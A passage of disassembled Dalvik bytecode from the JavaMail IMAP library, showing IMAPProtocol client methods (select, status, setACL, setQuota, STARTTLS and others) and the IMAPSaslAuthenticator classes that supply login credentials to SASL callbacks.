.end method

.method public declared-synchronized readIdleResponse()Response
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPProtocol->idleTag:String
:6
00000006  if-nez                  v0, :10
:A
0000000A  const/4                 v0, 0x0
:C
0000000C  monitor-exit            p0
0000000E  return-object           v0
:10
00000010  invoke-virtual          IMAPProtocol->readResponse()Response, p0
:16
00000016  move-result-object      v0
00000018  goto                    :C
:1A
0000001A  move-exception          v0
:1C
0000001C  invoke-static           Response->byeResponse(Exception)Response, v0
00000022  move-result-object      v0
00000024  goto                    :C
:26
00000026  move-exception          v0
00000028  invoke-static           Response->byeResponse(Exception)Response, v0
:2E
0000002E  move-result-object      v0
00000030  goto                    :C
:32
00000032  move-exception          v0
00000034  monitor-exit            p0
00000036  throw                   v0
          .catchall {:2 .. :6} :32
          .catch IOException {:10 .. :16} :1A
          .catch ProtocolException {:10 .. :16} :26
          .catchall {:10 .. :16} :32
          .catchall {:1C .. :2E} :32
.end method

.method public readResponse()Response
          .registers 2
00000000  invoke-static           IMAPResponse->readResponse(Protocol)IMAPResponse, p0
00000006  move-result-object      v0
00000008  return-object           v0
.end method

.method public rename(String, String)V
          .registers 6
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  invoke-static           BASE64MailboxEncoder->encode(String)String, p2
0000000E  move-result-object      v1
00000010  new-instance            v2, Argument
00000014  invoke-direct           Argument-><init>()V, v2
0000001A  invoke-virtual          Argument->writeString(String)V, v2, v0
00000020  invoke-virtual          Argument->writeString(String)V, v2, v1
00000026  const-string            v0, "RENAME"
0000002A  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v2
00000030  return-void
.end method

.method public sasllogin([String, String, String, String, String)V
          .registers 13
00000000  const/4                 v6, 0x1
00000002  const/4                 v1, 0x0
00000004  iget-object             v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
00000008  if-nez                  v0, :B8
:C
0000000C  const-string            v0, "com.sun.mail.imap.protocol.IMAPSaslAuthenticator"
00000010  invoke-static           Class->forName(String)Class, v0
00000016  move-result-object      v0
00000018  const/4                 v2, 0x6
0000001A  new-array               v2, v2, [Class
0000001E  const/4                 v3, 0x0
00000020  const-class             v4, IMAPProtocol
00000024  aput-object             v4, v2, v3
00000028  const/4                 v3, 0x1
0000002A  const-class             v4, String
0000002E  aput-object             v4, v2, v3
00000032  const/4                 v3, 0x2
00000034  const-class             v4, Properties
00000038  aput-object             v4, v2, v3
0000003C  const/4                 v3, 0x3
0000003E  sget-object             v4, Boolean->TYPE:Class
00000042  aput-object             v4, v2, v3
00000046  const/4                 v3, 0x4
00000048  const-class             v4, PrintStream
0000004C  aput-object             v4, v2, v3
00000050  const/4                 v3, 0x5
00000052  const-class             v4, String
00000056  aput-object             v4, v2, v3
0000005A  invoke-virtual          Class->getConstructor([Class)Constructor, v0, v2
00000060  move-result-object      v2
00000062  const/4                 v0, 0x6
00000064  new-array               v3, v0, [Object
00000068  const/4                 v0, 0x0
0000006A  aput-object             p0, v3, v0
0000006E  const/4                 v0, 0x1
00000070  iget-object             v4, p0, IMAPProtocol->name:String
00000074  aput-object             v4, v3, v0
00000078  const/4                 v0, 0x2
0000007A  iget-object             v4, p0, IMAPProtocol->props:Properties
0000007E  aput-object             v4, v3, v0
00000082  const/4                 v4, 0x3
00000084  iget-boolean            v0, p0, IMAPProtocol->debug:Z
00000088  if-eqz                  v0, :10E
:8C
0000008C  sget-object             v0, Boolean->TRUE:Boolean
:90
00000090  aput-object             v0, v3, v4
00000094  const/4                 v0, 0x4
00000096  iget-object             v4, p0, IMAPProtocol->out:PrintStream
0000009A  aput-object             v4, v3, v0
0000009E  const/4                 v0, 0x5
000000A0  iget-object             v4, p0, IMAPProtocol->host:String
000000A4  aput-object             v4, v3, v0
000000A8  invoke-virtual          Constructor->newInstance([Object)Object, v2, v3
000000AE  move-result-object      v0
000000B0  check-cast              v0, SaslAuthenticator
000000B4  iput-object             v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
:B8
000000B8  if-eqz                  p1, :16C
:BC
000000BC  array-length            v0, p1
000000BE  if-lez                  v0, :16C
:C2
000000C2  new-instance            v2, ArrayList
000000C6  array-length            v0, p1
000000C8  invoke-direct           ArrayList-><init>(I)V, v2, v0
000000CE  move                    v0, v1
:D0
000000D0  array-length            v1, p1
000000D2  if-lt                   v0, v1, :148
:D6
000000D6  move-object             v0, v2
:D8
000000D8  invoke-interface        List->size()I, v0
000000DE  move-result             v1
000000E0  new-array               v1, v1, [String
000000E4  invoke-interface        List->toArray([Object)[Object, v0, v1
000000EA  move-result-object      v1
000000EC  check-cast              v1, [String
000000F0  iget-object             v0, p0, IMAPProtocol->saslAuthenticator:SaslAuthenticator
000000F4  move-object             v2, p2
000000F6  move-object             v3, p3
000000F8  move-object             v4, p4
000000FA  move-object             v5, p5
000000FC  invoke-interface/range  SaslAuthenticator->authenticate([String, String, String, String, String)Z, v0 .. v5
00000102  move-result             v0
00000104  if-eqz                  v0, :10C
:108
00000108  iput-boolean            v6, p0, IMAPProtocol->authenticated:Z
:10C
0000010C  return-void
:10E
0000010E  sget-object             v0, Boolean->FALSE:Boolean
:112
00000112  goto                    :90
:114
00000114  move-exception          v0
00000116  iget-boolean            v1, p0, IMAPProtocol->debug:Z
0000011A  if-eqz                  v1, :10C
:11E
0000011E  iget-object             v1, p0, IMAPProtocol->out:PrintStream
00000122  new-instance            v2, StringBuilder
00000126  const-string            v3, "IMAP DEBUG: Can\'t load SASL authenticator: "
0000012A  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000130  invoke-virtual          StringBuilder->append(Object)StringBuilder, v2, v0
00000136  move-result-object      v0
00000138  invoke-virtual          StringBuilder->toString()String, v0
0000013E  move-result-object      v0
00000140  invoke-virtual          PrintStream->println(String)V, v1, v0
00000146  goto                    :10C
:148
00000148  iget-object             v1, p0, IMAPProtocol->authmechs:List
0000014C  aget-object             v3, p1, v0
00000150  invoke-interface        List->contains(Object)Z, v1, v3
00000156  move-result             v1
00000158  if-eqz                  v1, :166
:15C
0000015C  aget-object             v1, p1, v0
00000160  invoke-interface        List->add(Object)Z, v2, v1
:166
00000166  add-int/lit8            v0, v0, 0x1
0000016A  goto                    :D0
:16C
0000016C  iget-object             v0, p0, IMAPProtocol->authmechs:List
00000170  goto                    :D8
          .catch Exception {:C .. :B8} :114
          .catch Exception {:10E .. :112} :114
.end method

.method public search(SearchTerm)[I
          .registers 3
00000000  const-string            v0, "ALL"
00000004  invoke-direct           IMAPProtocol->search(String, SearchTerm)[I, p0, v0, p1
0000000A  move-result-object      v0
0000000C  return-object           v0
.end method

.method public search([MessageSet, SearchTerm)[I
          .registers 4
00000000  invoke-static           MessageSet->toString([MessageSet)String, p1
00000006  move-result-object      v0
00000008  invoke-direct           IMAPProtocol->search(String, SearchTerm)[I, p0, v0, p2
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

.method public select(String)MailboxInfo
          .registers 6
00000000  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000006  move-result-object      v0
00000008  new-instance            v1, Argument
0000000C  invoke-direct           Argument-><init>()V, v1
00000012  invoke-virtual          Argument->writeString(String)V, v1, v0
00000018  const-string            v0, "SELECT"
0000001C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000022  move-result-object      v0
00000024  new-instance            v1, MailboxInfo
00000028  invoke-direct           MailboxInfo-><init>([Response)V, v1, v0
0000002E  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000034  array-length            v2, v0
00000036  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000003A  aget-object             v0, v0, v2
0000003E  invoke-virtual          Response->isOK()Z, v0
00000044  move-result             v2
00000046  if-eqz                  v2, :6A
:4A
0000004A  invoke-virtual          Response->toString()String, v0
00000050  move-result-object      v2
00000052  const-string            v3, "READ-ONLY"
00000056  invoke-virtual          String->indexOf(String)I, v2, v3
0000005C  move-result             v2
0000005E  const/4                 v3, 0xFFFFFFFFFFFFFFFF
00000060  if-eq                   v2, v3, :72
:64
00000064  const/4                 v2, 0x1
00000066  iput                    v2, v1, MailboxInfo->mode:I
:6A
0000006A  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v0
00000070  return-object           v1
:72
00000072  const/4                 v2, 0x2
00000074  iput                    v2, v1, MailboxInfo->mode:I
00000078  goto                    :6A
.end method

.method public setACL(String, C, ACL)V
          .registers 8
00000000  const-string            v0, "ACL"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "ACL not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000026  move-result-object      v0
00000028  new-instance            v1, Argument
0000002C  invoke-direct           Argument-><init>()V, v1
00000032  invoke-virtual          Argument->writeString(String)V, v1, v0
00000038  invoke-virtual          ACL->getName()String, p3
0000003E  move-result-object      v0
00000040  invoke-virtual          Argument->writeString(String)V, v1, v0
00000046  invoke-virtual          ACL->getRights()Rights, p3
0000004C  move-result-object      v0
0000004E  invoke-virtual          Rights->toString()String, v0
00000054  move-result-object      v0
00000056  const/16                v2, 0x2B
0000005A  if-eq                   p2, v2, :66
:5E
0000005E  const/16                v2, 0x2D
00000062  if-ne                   p2, v2, :88
:66
00000066  new-instance            v2, StringBuilder
0000006A  invoke-static           String->valueOf(C)String, p2
00000070  move-result-object      v3
00000072  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000078  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000007E  move-result-object      v0
00000080  invoke-virtual          StringBuilder->toString()String, v0
00000086  move-result-object      v0
:88
00000088  invoke-virtual          Argument->writeString(String)V, v1, v0
0000008E  const-string            v0, "SETACL"
00000092  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000098  move-result-object      v0
0000009A  array-length            v1, v0
0000009C  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000A0  aget-object             v1, v0, v1
000000A4  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
000000AA  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
000000B0  return-void
.end method

.method protected setCapabilities(Response)V
          .registers 4
00000000  invoke-virtual          Response->readByte()B, p1
00000006  move-result             v0
00000008  if-lez                  v0, :14
:C
0000000C  const/16                v1, 0x5B
00000010  if-ne                   v0, v1, :0
:14
00000014  if-nez                  v0, :1A
:18
00000018  return-void
:1A
0000001A  invoke-virtual          Response->readAtom()String, p1
00000020  move-result-object      v0
00000022  const-string            v1, "CAPABILITY"
00000026  invoke-virtual          String->equalsIgnoreCase(String)Z, v0, v1
0000002C  move-result             v0
0000002E  if-eqz                  v0, :18
:32
00000032  new-instance            v0, HashMap
00000036  const/16                v1, 0xA
0000003A  invoke-direct           HashMap-><init>(I)V, v0, v1
00000040  iput-object             v0, p0, IMAPProtocol->capabilities:Map
00000044  new-instance            v0, ArrayList
00000048  const/4                 v1, 0x5
0000004A  invoke-direct           ArrayList-><init>(I)V, v0, v1
00000050  iput-object             v0, p0, IMAPProtocol->authmechs:List
00000054  invoke-virtual          IMAPProtocol->parseCapabilities(Response)V, p0, p1
0000005A  goto                    :18
.end method

.method public setQuota(Quota)V
          .registers 7
00000000  const-string            v0, "QUOTA"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "QUOTA not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  new-instance            v1, Argument
00000024  invoke-direct           Argument-><init>()V, v1
0000002A  iget-object             v0, p1, Quota->quotaRoot:String
0000002E  invoke-virtual          Argument->writeString(String)V, v1, v0
00000034  new-instance            v2, Argument
00000038  invoke-direct           Argument-><init>()V, v2
0000003E  iget-object             v0, p1, Quota->resources:[Quota$Resource
00000042  if-eqz                  v0, :52
:46
00000046  const/4                 v0, 0x0
:48
00000048  iget-object             v3, p1, Quota->resources:[Quota$Resource
0000004C  array-length            v3, v3
0000004E  if-lt                   v0, v3, :7C
:52
00000052  invoke-virtual          Argument->writeArgument(Argument)V, v1, v2
00000058  const-string            v0, "SETQUOTA"
0000005C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v0, v1
00000062  move-result-object      v0
00000064  array-length            v1, v0
00000066  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000006A  aget-object             v1, v0, v1
0000006E  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v0
00000074  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v1
0000007A  return-void
:7C
0000007C  iget-object             v3, p1, Quota->resources:[Quota$Resource
00000080  aget-object             v3, v3, v0
00000084  iget-object             v3, v3, Quota$Resource->name:String
00000088  invoke-virtual          Argument->writeAtom(String)V, v2, v3
0000008E  iget-object             v3, p1, Quota->resources:[Quota$Resource
00000092  aget-object             v3, v3, v0
00000096  iget-wide               v3, v3, Quota$Resource->limit:J
0000009A  invoke-virtual          Argument->writeNumber(J)V, v2, v3, v4
000000A0  add-int/lit8            v0, v0, 0x1
000000A4  goto                    :48
.end method

.method public startTLS()V
          .registers 4
00000000  const-string            v0, "STARTTLS"
00000004  invoke-super            Protocol->startTLS(String)V, p0, v0
:A
0000000A  return-void
:C
0000000C  move-exception          v0
0000000E  throw                   v0
:10
00000010  move-exception          v0
00000012  const/4                 v1, 0x1
00000014  new-array               v1, v1, [Response
00000018  const/4                 v2, 0x0
0000001A  invoke-static           Response->byeResponse(Exception)Response, v0
00000020  move-result-object      v0
00000022  aput-object             v0, v1, v2
00000026  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v1
0000002C  invoke-virtual          IMAPProtocol->disconnect()V, p0
00000032  goto                    :A
          .catch ProtocolException {:0 .. :A} :C
          .catch Exception {:0 .. :A} :10
.end method

.method public status(String, [String)Status
          .registers 11
00000000  const/4                 v2, 0x0
00000002  const/4                 v0, 0x0
00000004  invoke-virtual          IMAPProtocol->isREV1()Z, p0
0000000A  move-result             v1
0000000C  if-nez                  v1, :30
:10
00000010  const-string            v1, "IMAP4SUNVERSION"
00000014  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v1
0000001A  move-result             v1
0000001C  if-nez                  v1, :30
:20
00000020  new-instance            v0, BadCommandException
00000024  const-string            v1, "STATUS not supported"
00000028  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000002E  throw                   v0
:30
00000030  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000036  move-result-object      v1
00000038  new-instance            v3, Argument
0000003C  invoke-direct           Argument-><init>()V, v3
00000042  invoke-virtual          Argument->writeString(String)V, v3, v1
00000048  new-instance            v4, Argument
0000004C  invoke-direct           Argument-><init>()V, v4
00000052  if-nez                  p2, :5A
:56
00000056  sget-object             p2, Status->standardItems:[String
:5A
0000005A  array-length            v5, p2
0000005C  move                    v1, v0
:5E
0000005E  if-lt                   v1, v5, :A2
:62
00000062  invoke-virtual          Argument->writeArgument(Argument)V, v3, v4
00000068  const-string            v1, "STATUS"
0000006C  invoke-virtual          IMAPProtocol->command(String, Argument)[Response, p0, v1, v3
00000072  move-result-object      v4
00000074  array-length            v1, v4
00000076  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
0000007A  aget-object             v5, v4, v1
0000007E  invoke-virtual          Response->isOK()Z, v5
00000084  move-result             v1
00000086  if-eqz                  v1, :10A
:8A
0000008A  array-length            v6, v4
0000008C  move                    v3, v0
0000008E  move-object             v1, v2
:90
00000090  if-lt                   v3, v6, :B2
:94
00000094  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, p0, v4
0000009A  invoke-virtual          IMAPProtocol->handleResult(Response)V, p0, v5
000000A0  return-object           v1
:A2
000000A2  aget-object             v6, p2, v1
000000A6  invoke-virtual          Argument->writeAtom(String)V, v4, v6
000000AC  add-int/lit8            v1, v1, 0x1
000000B0  goto                    :5E
:B2
000000B2  aget-object             v0, v4, v3
000000B6  instance-of             v0, v0, IMAPResponse
000000BA  if-nez                  v0, :C6
:BE
000000BE  add-int/lit8            v0, v3, 0x1
000000C2  move                    v3, v0
000000C4  goto                    :90
:C6
000000C6  aget-object             v0, v4, v3
000000CA  check-cast              v0, IMAPResponse
000000CE  const-string            v7, "STATUS"
000000D2  invoke-virtual          IMAPResponse->keyEquals(String)Z, v0, v7
000000D8  move-result             v7
000000DA  if-eqz                  v7, :BE
:DE
000000DE  if-nez                  v1, :F6
:E2
000000E2  new-instance            v1, Status
000000E6  invoke-direct           Status-><init>(Response)V, v1, v0
000000EC  move-object             v0, v1
:EE
000000EE  aput-object             v2, v4, v3
000000F2  move-object             v1, v0
000000F4  goto                    :BE
:F6
000000F6  new-instance            v7, Status
000000FA  invoke-direct           Status-><init>(Response)V, v7, v0
00000100  invoke-static           Status->add(Status, Status)V, v1, v7
00000106  move-object             v0, v1
00000108  goto                    :EE
:10A
0000010A  move-object             v1, v2
0000010C  goto                    :94
.end method

.method public storeFlags(I, I, Flags, Z)V
          .registers 7
00000000  new-instance            v0, StringBuilder
00000004  invoke-static           String->valueOf(I)String, p1
0000000A  move-result-object      v1
0000000C  invoke-static           String->valueOf(Object)String, v1
00000012  move-result-object      v1
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  const-string            v1, ":"
0000001E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000024  move-result-object      v0
00000026  invoke-static           String->valueOf(I)String, p2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->toString()String, v0
0000003C  move-result-object      v0
0000003E  invoke-direct           IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p3, p4
00000044  return-void
.end method

.method public storeFlags(I, Flags, Z)V
          .registers 5
00000000  invoke-static           String->valueOf(I)String, p1
00000006  move-result-object      v0
00000008  invoke-direct           IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p2, p3
0000000E  return-void
.end method

.method public storeFlags([MessageSet, Flags, Z)V
          .registers 5
00000000  invoke-static           MessageSet->toString([MessageSet)String, p1
00000006  move-result-object      v0
00000008  invoke-direct           IMAPProtocol->storeFlags(String, Flags, Z)V, p0, v0, p2, p3
0000000E  return-void
.end method

.method public subscribe(String)V
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000010  move-result-object      v1
00000012  invoke-virtual          Argument->writeString(String)V, v0, v1
00000018  const-string            v1, "SUBSCRIBE"
0000001C  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
00000022  return-void
.end method

.method protected supportsNonSyncLiterals()Z
          .registers 2
00000000  const-string            v0, "LITERAL+"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  return                  v0
.end method

.method public uidexpunge([UIDSet)V
          .registers 4
00000000  const-string            v0, "UIDPLUS"
00000004  invoke-virtual          IMAPProtocol->hasCapability(String)Z, p0, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :20
:10
00000010  new-instance            v0, BadCommandException
00000014  const-string            v1, "UID EXPUNGE not supported"
00000018  invoke-direct           BadCommandException-><init>(String)V, v0, v1
0000001E  throw                   v0
:20
00000020  new-instance            v0, StringBuilder
00000024  const-string            v1, "UID EXPUNGE "
00000028  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000002E  invoke-static           UIDSet->toString([UIDSet)String, p1
00000034  move-result-object      v1
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000003C  move-result-object      v0
0000003E  invoke-virtual          StringBuilder->toString()String, v0
00000044  move-result-object      v0
00000046  const/4                 v1, 0x0
00000048  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v0, v1
0000004E  return-void
.end method

.method public unsubscribe(String)V
          .registers 4
00000000  new-instance            v0, Argument
00000004  invoke-direct           Argument-><init>()V, v0
0000000A  invoke-static           BASE64MailboxEncoder->encode(String)String, p1
00000010  move-result-object      v1
00000012  invoke-virtual          Argument->writeString(String)V, v0, v1
00000018  const-string            v1, "UNSUBSCRIBE"
0000001C  invoke-virtual          IMAPProtocol->simpleCommand(String, Argument)V, p0, v1, v0
00000022  return-void
.end method

#--------------------------------------------------------------------------------
.class IMAPSaslAuthenticator$1
.super Object
.source ""

.implements CallbackHandler

.field final synthetic this$0:IMAPSaslAuthenticator
.field private final synthetic val$p0:String
.field private final synthetic val$r0:String
.field private final synthetic val$u0:String

.method constructor <init>(IMAPSaslAuthenticator, String, String, String)V
          .registers 5
00000000  iput-object             p1, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000004  iput-object             p2, p0, IMAPSaslAuthenticator$1->val$u0:String
00000008  iput-object             p3, p0, IMAPSaslAuthenticator$1->val$p0:String
0000000C  iput-object             p4, p0, IMAPSaslAuthenticator$1->val$r0:String
00000010  invoke-direct           Object-><init>()V, p0
00000016  return-void
.end method

.method public handle([Callback)V
          .registers 9
00000000  const/4                 v2, 0x0
00000002  iget-object             v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000006  invoke-static           IMAPSaslAuthenticator->access$0(IMAPSaslAuthenticator)Z, v0
0000000C  move-result             v0
0000000E  if-eqz                  v0, :44
:12
00000012  iget-object             v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000016  invoke-static           IMAPSaslAuthenticator->access$1(IMAPSaslAuthenticator)PrintStream, v0
0000001C  move-result-object      v0
0000001E  new-instance            v1, StringBuilder
00000022  const-string            v3, "IMAP SASL DEBUG: callback length: "
00000026  invoke-direct           StringBuilder-><init>(String)V, v1, v3
0000002C  array-length            v3, p1
0000002E  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, v3
00000034  move-result-object      v1
00000036  invoke-virtual          StringBuilder->toString()String, v1
0000003C  move-result-object      v1
0000003E  invoke-virtual          PrintStream->println(String)V, v0, v1
:44
00000044  move                    v1, v2
:46
00000046  array-length            v0, p1
00000048  if-lt                   v1, v0, :4E
:4C
0000004C  return-void
:4E
0000004E  iget-object             v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000052  invoke-static           IMAPSaslAuthenticator->access$0(IMAPSaslAuthenticator)Z, v0
00000058  move-result             v0
0000005A  if-eqz                  v0, :A6
:5E
0000005E  iget-object             v0, p0, IMAPSaslAuthenticator$1->this$0:IMAPSaslAuthenticator
00000062  invoke-static           IMAPSaslAuthenticator->access$1(IMAPSaslAuthenticator)PrintStream, v0
00000068  move-result-object      v0
0000006A  new-instance            v3, StringBuilder
0000006E  const-string            v4, "IMAP SASL DEBUG: callback "
00000072  invoke-direct           StringBuilder-><init>(String)V, v3, v4
00000078  invoke-virtual          StringBuilder->append(I)StringBuilder, v3, v1
0000007E  move-result-object      v3
00000080  const-string            v4, ": "
00000084  invoke-virtual          StringBuilder->append(String)StringBuilder, v3, v4
0000008A  move-result-object      v3
0000008C  aget-object             v4, p1, v1
00000090  invoke-virtual          StringBuilder->append(Object)StringBuilder, v3, v4
00000096  move-result-object      v3
00000098  invoke-virtual          StringBuilder->toString()String, v3
0000009E  move-result-object      v3
000000A0  invoke-virtual          PrintStream->println(String)V, v0, v3
:A6
000000A6  aget-object             v0, p1, v1
000000AA  instance-of             v0, v0, NameCallback
000000AE  if-eqz                  v0, :CC
:B2
000000B2  aget-object             v0, p1, v1
000000B6  check-cast              v0, NameCallback
000000BA  iget-object             v3, p0, IMAPSaslAuthenticator$1->val$u0:String
000000BE  invoke-virtual          NameCallback->setName(String)V, v0, v3
:C4
000000C4  add-int/lit8            v0, v1, 0x1
000000C8  move                    v1, v0
000000CA  goto                    :46
:CC
000000CC  aget-object             v0, p1, v1
000000D0  instance-of             v0, v0, PasswordCallback
000000D4  if-eqz                  v0, :F4
:D8
000000D8  aget-object             v0, p1, v1
000000DC  check-cast              v0, PasswordCallback
000000E0  iget-object             v3, p0, IMAPSaslAuthenticator$1->val$p0:String
000000E4  invoke-virtual          String->toCharArray()[C, v3
000000EA  move-result-object      v3
000000EC  invoke-virtual          PasswordCallback->setPassword([C)V, v0, v3
000000F2  goto                    :C4
:F4
000000F4  aget-object             v0, p1, v1
000000F8  instance-of             v0, v0, RealmCallback
000000FC  if-eqz                  v0, :126
:100
00000100  aget-object             v0, p1, v1
00000104  check-cast              v0, RealmCallback
00000108  iget-object             v3, p0, IMAPSaslAuthenticator$1->val$r0:String
0000010C  if-eqz                  v3, :11C
:110
00000110  iget-object             v3, p0, IMAPSaslAuthenticator$1->val$r0:String
:114
00000114  invoke-virtual          RealmCallback->setText(String)V, v0, v3
0000011A  goto                    :C4
:11C
0000011C  invoke-virtual          RealmCallback->getDefaultText()String, v0
00000122  move-result-object      v3
00000124  goto                    :114
:126
00000126  aget-object             v0, p1, v1
0000012A  instance-of             v0, v0, RealmChoiceCallback
0000012E  if-eqz                  v0, :C4
:132
00000132  aget-object             v0, p1, v1
00000136  check-cast              v0, RealmChoiceCallback
0000013A  iget-object             v3, p0, IMAPSaslAuthenticator$1->val$r0:String
0000013E  if-nez                  v3, :152
:142
00000142  invoke-virtual          RealmChoiceCallback->getDefaultChoice()I, v0
00000148  move-result             v3
0000014A  invoke-virtual          RealmChoiceCallback->setSelectedIndex(I)V, v0, v3
00000150  goto                    :C4
:152
00000152  invoke-virtual          RealmChoiceCallback->getChoices()[String, v0
00000158  move-result-object      v4
0000015A  move                    v3, v2
:15C
0000015C  array-length            v5, v4
0000015E  if-ge                   v3, v5, :C4
:162
00000162  aget-object             v5, v4, v3
00000166  iget-object             v6, p0, IMAPSaslAuthenticator$1->val$r0:String
0000016A  invoke-virtual          String->equals(Object)Z, v5, v6
00000170  move-result             v5
00000172  if-eqz                  v5, :17E
:176
00000176  invoke-virtual          RealmChoiceCallback->setSelectedIndex(I)V, v0, v3
0000017C  goto                    :C4
:17E
0000017E  add-int/lit8            v3, v3, 0x1
00000182  goto                    :15C
.end method

#--------------------------------------------------------------------------------
.class public abstract interface SaslAuthenticator
.super Object
.source ""

.method public abstract authenticate([String, String, String, String, String)Z
.end method

#--------------------------------------------------------------------------------
.class public IMAPSaslAuthenticator
.super Object
.source ""

.implements SaslAuthenticator

.field private debug:Z
.field private host:String
.field private name:String
.field private out:PrintStream
.field private pr:IMAPProtocol
.field private props:Properties

.method public constructor <init>(IMAPProtocol, String, Properties, Z, PrintStream, String)V
          .registers 7
00000000  invoke-direct           Object-><init>()V, p0
00000006  iput-object             p1, p0, IMAPSaslAuthenticator->pr:IMAPProtocol
0000000A  iput-object             p2, p0, IMAPSaslAuthenticator->name:String
0000000E  iput-object             p3, p0, IMAPSaslAuthenticator->props:Properties
00000012  iput-boolean            p4, p0, IMAPSaslAuthenticator->debug:Z
00000016  iput-object             p5, p0, IMAPSaslAuthenticator->out:PrintStream
0000001A  iput-object             p6, p0, IMAPSaslAuthenticator->host:String
0000001E  return-void
.end method

.method static synthetic access$0(IMAPSaslAuthenticator)Z
          .registers 2
00000000  iget-boolean            v0, p0, IMAPSaslAuthenticator->debug:Z
00000004  return                  v0
.end method

.method static synthetic access$1(IMAPSaslAuthenticator)PrintStream
          .registers 2
00000000  iget-object             v0, p0, IMAPSaslAuthenticator->out:PrintStream
00000004  return-object           v0
.end method

.method public authenticate([String, String, String, String, String)Z
          .registers 25
00000000  move-object/from16      v0, p0
00000004  iget-object             v12, v0, IMAPSaslAuthenticator->pr:IMAPProtocol
00000008  monitor-enter           v12
:A
0000000A  new-instance            v13, Vector
0000000E  invoke-direct           Vector-><init>()V, v13
00000014  const/4                 v11, 0x0
00000016  const/4                 v10, 0x0
00000018  move-object/from16      v0, p0
0000001C  iget-boolean            v4, v0, IMAPSaslAuthenticator->debug:Z
00000020  if-eqz                  v4, :50
:24
00000024  move-object/from16      v0, p0
00000028  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000002C  const-string            v5, "IMAP SASL DEBUG: Mechanisms:"
00000030  invoke-virtual          PrintStream->print(String)V, v4, v5
00000036  const/4                 v4, 0x0
:38
00000038  move-object/from16      v0, p1
0000003C  array-length            v5, v0
0000003E  if-lt                   v4, v5, :BA
:42
00000042  move-object/from16      v0, p0
00000046  iget-object             v4, v0, IMAPSaslAuthenticator->out:PrintStream
0000004A  invoke-virtual          PrintStream->println()V, v4
:50
00000050  new-instance            v9, IMAPSaslAuthenticator$1
00000054  move-object/from16      v0, p0
00000058  move-object/from16      v1, p4
0000005C  move-object/from16      v2, p5
00000060  move-object/from16      v3, p2
00000064  invoke-direct           IMAPSaslAuthenticator$1-><init>(IMAPSaslAuthenticator, String, String, String)V, v9, v0, v1, v2, v3
:6A
0000006A  move-object/from16      v0, p0
0000006E  iget-object             v6, v0, IMAPSaslAuthenticator->name:String
00000072  move-object/from16      v0, p0
00000076  iget-object             v7, v0, IMAPSaslAuthenticator->host:String
0000007A  move-object/from16      v0, p0
0000007E  iget-object             v8, v0, IMAPSaslAuthenticator->props:Properties
00000082  move-object/from16      v4, p1
00000086  move-object/from16      v5, p3
0000008A  invoke-static/range     Sasl->createSaslClient([String, String, String, String, Map, CallbackHandler)SaslClient, v4 .. v9
:90
